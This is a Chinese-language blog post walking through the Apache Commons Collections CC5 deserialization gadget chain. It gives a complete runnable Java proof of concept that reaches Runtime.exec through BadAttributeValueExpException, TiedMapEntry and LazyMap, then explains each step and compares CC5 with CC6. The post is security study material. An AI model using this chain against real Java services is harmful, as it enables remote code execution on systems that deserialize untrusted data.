• CC5 反序列化链分析


    CC5 反序列化链分析

    前言

    本文通过分析一个完整的 CC5 利用链代码,深入理解其构造思路和触发机制。我们将使用以下代码进行实验:

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC5Test {
        public static void main(String[] args) throws Exception {
            // 要执行的命令(根据系统调整)
            // String command = "calc.exe"; // Windows 弹出计算器
            String command = "touch /tmp/cc5_success"; // Linux 创建文件
    
            // 1. 构造恶意 Transformer 链(执行命令)
            Transformer[] maliciousTransformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{command}),
                    new ConstantTransformer(1)  // 占位,不影响执行
            };
    
            // 2. 先用一个无害的链占位(防止在构造 LazyMap 时意外触发)
            Transformer dummyTransformer = new ConstantTransformer(1);
            ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{dummyTransformer});
    
            // 3. 创建 LazyMap,其 factory 是 transformerChain
            Map innerMap = new HashMap<>();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
            // 4. 创建 TiedMapEntry,绑定 lazyMap 和一个任意 key
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
            // 5. 创建 BadAttributeValueExpException 对象,通过反射设置 val 字段为 entry
            BadAttributeValueExpException valException = new BadAttributeValueExpException(null);
            Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(valException, entry);
    
            // 6. 将 transformerChain 中的 iTransformers 替换为真正的恶意链(此时才"上膛")
            Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
            iTransformersField.setAccessible(true);
            iTransformersField.set(transformerChain, maliciousTransformers);
    
            // 7. 序列化 valException
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(valException);
            oos.close();
    
            // 8. 反序列化 —— 自动触发命令执行
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();   // 漏洞触发点
            ois.close();
    
            System.out.println("CC5 链执行完成,请检查命令是否执行。");
        }
    }
    

    超前学习:BadAttributeValueExpException 的触发机制

    CC5 链的核心入口是 BadAttributeValueExpException(位于 javax.management 包)。该类在反序列化时,其 readObject 方法会执行以下关键操作:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // ...
        if (val == null) {
            // ...
        } else {
            valObj = val.toString();   // 关键:对成员变量 val 调用 toString()
        }
        // ...
    }
    

    也就是说,如果我们在反序列化时让 val 指向一个我们可控的对象,那么该对象的 toString() 方法就会被自动调用。

    漏洞分析

    1. 构造通用桥梁(CC5/CC6 共用部分)

    // 1. 构造恶意 Transformer 链(执行命令)
    Transformer[] maliciousTransformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", ...),
            new InvokerTransformer("invoke", ...),
            new InvokerTransformer("exec", ...),
            new ConstantTransformer(1)  // 占位,不影响执行
    };
    
    // 2. 先用一个无害的链占位(防止在构造 LazyMap 时意外触发)
    Transformer dummyTransformer = new ConstantTransformer(1);
    ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{dummyTransformer});
    
    // 3. 创建 LazyMap,其 factory 是 transformerChain
    Map innerMap = new HashMap<>();
    Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
    // 4. 创建 TiedMapEntry,绑定 lazyMap 和一个任意 key
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    

    这部分是 CC5 和 CC6 链共用的“桥梁”:

    • 恶意链maliciousTransformers 最终会通过反射执行 Runtime.exec(),是真正执行命令的部分。
    • 占位链:在构造 LazyMapTiedMapEntry 时,先用一个无害的 ConstantTransformer(1) 作为 ChainedTransformer 的内容,防止构造过程中意外触发(虽然本链中构造过程不会触发 get,但统一使用占位链是一种防御性编程,便于后续替换)。
    • LazyMap:将普通 HashMap 包装成 LazyMap,并挂载 transformerChain。当调用 lazyMap.get(key) 且 key 不存在时,会自动执行 transformerChain.transform(key)
    • TiedMapEntry:这个类实现了 Map.Entry 接口,其 getValue() 方法会返回 map.get(key)。因此,只要调用 entry.toString()entry.hashCode(),就会间接触发 lazyMap.get(key)

    2. 核心

    // 5. 创建 BadAttributeValueExpException 对象,通过反射设置 val 字段为 entry
    BadAttributeValueExpException valException = new BadAttributeValueExpException(null);
    Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(valException, entry);
    

    为什么传 null

    查看 BadAttributeValueExpException 的构造方法源码:

    public BadAttributeValueExpException(Object val) {
        this.val = val == null ? null : val.toString();
    }
    

    如果直接在构造函数中传入 entry,那么构造函数会立即调用 entry.toString(),导致命令在攻击者本地执行(而非在目标服务器反序列化时触发)。因此,我们先传入 null 完成对象实例化,然后通过反射将私有字段 val 直接设置为 entry,从而绕过构造方法的逻辑,实现“延迟触发”。

    反射操作的作用
    getDeclaredField("val") 获取私有字段,setAccessible(true) 禁用 Java 语言访问控制,set() 直接修改对象堆内存中的字段值。这样,valException 对象内部就持有了 entry,但尚未触发任何 toString 调用。

    3.替换占位链为恶意链

    // 6. 将 transformerChain 中的 iTransformers 替换为真正的恶意链(此时才"上膛")
    Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
    iTransformersField.setAccessible(true);
    iTransformersField.set(transformerChain, maliciousTransformers);
    

    此时 transformerChain 内部原本只包含 dummyTransformer,现在被替换为完整的 maliciousTransformers。由于替换操作发生在序列化之前,且 LazyMapTiedMapEntry 只是持有对 transformerChain 的引用,所以序列化时会将修改后的内容一并写入。

    4. 序列化与反序列化触发

    // 7. 序列化 valException
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(valException);
    
    // 8. 反序列化 —— 自动触发命令执行
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();   // 漏洞触发点
    

    ois.readObject() 执行时,BadAttributeValueExpExceptionreadObject 方法被调用,内部会执行 val.toString()。此时 val 指向 entry(即 TiedMapEntry 对象),因此调用 entry.toString()

    • TiedMapEntry.toString() 会调用 getKey() + "=" + getValue()
    • getValue() 返回 map.get(key),即 lazyMap.get("foo")
    • 由于 "foo"innerMap 中不存在,LazyMap.get() 调用 factory.transform("foo"),这里的 factorytransformerChain,它已被替换为恶意链。
    • 恶意链依次执行:ConstantTransformer(Runtime.class)InvokerTransformer("getMethod", ...)InvokerTransformer("invoke", ...)InvokerTransformer("exec", ...),最终执行命令 touch /tmp/cc5_success

    5. CC5 与 CC6 的区别

    对比项 CC5 CC6
    入口类 BadAttributeValueExpException HashSetHashMap
    触发方法 readObject()val.toString() readObject()key.hashCode()
    核心机制 异常对象反序列化时自动调用成员变量的 toString() 集合反序列化时自动计算元素的 hashCode()
    优势 直接、不依赖集合结构,绕过 AnnotationInvocationHandler 修复 适用范围更广,在更高 JDK 版本中依然有效(需配合其他技巧)

    两者均使用 LazyMap + TiedMapEntry 作为桥梁,区别仅在于谁去调用 TiedMapEntrytoString()hashCode()。CC5 利用异常类的特殊反序列化行为,CC6 则利用集合类的哈希计算逻辑。

  • 相关阅读:
    2.X3-解析器语义动作
    隔离上网,安全上网
    C#实现顺序表定义、插入、删除、查找操作
    安科瑞预付费平台在转供电的应用-Susie 周
    Linux指令集合
    说一说设备综合效率OEE
    集合学习笔记——Collection 全家桶
    使用cpolar内网穿透远程操作Excel
    [云原生1.]Docker数据管理与Cgroups资源控制管理
    MySQL的安装与配置
  • 原文地址:https://www.cnblogs.com/ThorneYe/p/20058667